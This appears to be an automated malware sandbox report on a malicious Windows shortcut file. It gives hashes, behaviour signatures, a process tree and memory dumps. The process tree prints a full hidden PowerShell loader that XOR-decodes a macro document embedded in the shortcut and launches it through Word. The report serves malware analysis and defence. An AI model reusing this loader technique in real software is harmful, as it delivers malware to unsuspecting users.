Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2024, 15:00

General

  • Target

    fe50f70b185772ec0fe7059d5eada3ce530994d8f3bbaa5c1f7c39ffb49e4503.lnk

  • Size

    161KB

  • MD5

    524d6dd5b5781a6ab37f474f2064ef84

  • SHA1

    41c464604b7fdf9b72019e6862dcfec0b7fd474c

  • SHA256

    fe50f70b185772ec0fe7059d5eada3ce530994d8f3bbaa5c1f7c39ffb49e4503

  • SHA512

    2a4c10c0b01daebc5d80c1dbd307e9596898980b8ae827ebc67963e7311def1c5f52a39ea81d593c58d412ee19cd0a4ed1c721b67bb17f44c4a7116b97626e75

  • SSDEEP

    3072:Gf1rbO/G+SVQZkQYSdkGjHnUFKRVdQtVXHoHJXxjfci1UeSjETvTgli:e1rqu+kQZkQYSHa+zQX4HJhJhTqi

Score
8/10

Malware Config

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\fe50f70b185772ec0fe7059d5eada3ce530994d8f3bbaa5c1f7c39ffb49e4503.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2792
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x0002859F} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0xAA }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.docm'; sc $path ([byte[]]($file ^| select -Skip 002942)) -Encoding Byte; ^& $path;
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x0002859F} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0xAA }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.docm'; sc $path ([byte[]]($file | select -Skip 002942)) -Encoding Byte; & $path;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
          "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\tmp832948814.docm"
          4⤵
          • Drops file in Windows directory
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2432
          • C:\Windows\splwow64.exe
            C:\Windows\splwow64.exe 12288
            5⤵
              PID:2584

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tmp832948814.docm

            Filesize

            158KB

            MD5

            f97d80347ad8f8954e4b1a9299394741

            SHA1

            58ebf64d99cd5adf091fd4b3d8e374e2d8db5002

            SHA256

            acac51ae38adb5df048791932cdb48cbd73d95fa4421454880bc3dd4ca1c61e5

            SHA512

            00d58c3b95d820ddce34259fc923d0b853904ed87c3a1796474e8bb56f784dde2d9efe6b911804fd88df7e98d835b86c56714762e4552c3d2e91eafaeb50ee76

          • memory/2432-59-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-58-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-66-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-65-0x000000007124D000-0x0000000071258000-memory.dmp

            Filesize

            44KB

          • memory/2432-63-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-64-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-52-0x000000007124D000-0x0000000071258000-memory.dmp

            Filesize

            44KB

          • memory/2432-62-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-49-0x000000002FF31000-0x000000002FF32000-memory.dmp

            Filesize

            4KB

          • memory/2432-57-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-61-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-60-0x00000000004F0000-0x00000000005F0000-memory.dmp

            Filesize

            1024KB

          • memory/2432-51-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2916-47-0x00000000029A0000-0x0000000002A20000-memory.dmp

            Filesize

            512KB

          • memory/2916-40-0x000000001B640000-0x000000001B922000-memory.dmp

            Filesize

            2.9MB

          • memory/2916-41-0x0000000001E90000-0x0000000001E98000-memory.dmp

            Filesize

            32KB

          • memory/2916-42-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

            Filesize

            9.6MB

          • memory/2916-50-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

            Filesize

            9.6MB

          • memory/2916-46-0x00000000029A0000-0x0000000002A20000-memory.dmp

            Filesize

            512KB

          • memory/2916-45-0x00000000029A0000-0x0000000002A20000-memory.dmp

            Filesize

            512KB

          • memory/2916-44-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

            Filesize

            9.6MB

          • memory/2916-43-0x00000000029A0000-0x0000000002A20000-memory.dmp

            Filesize

            512KB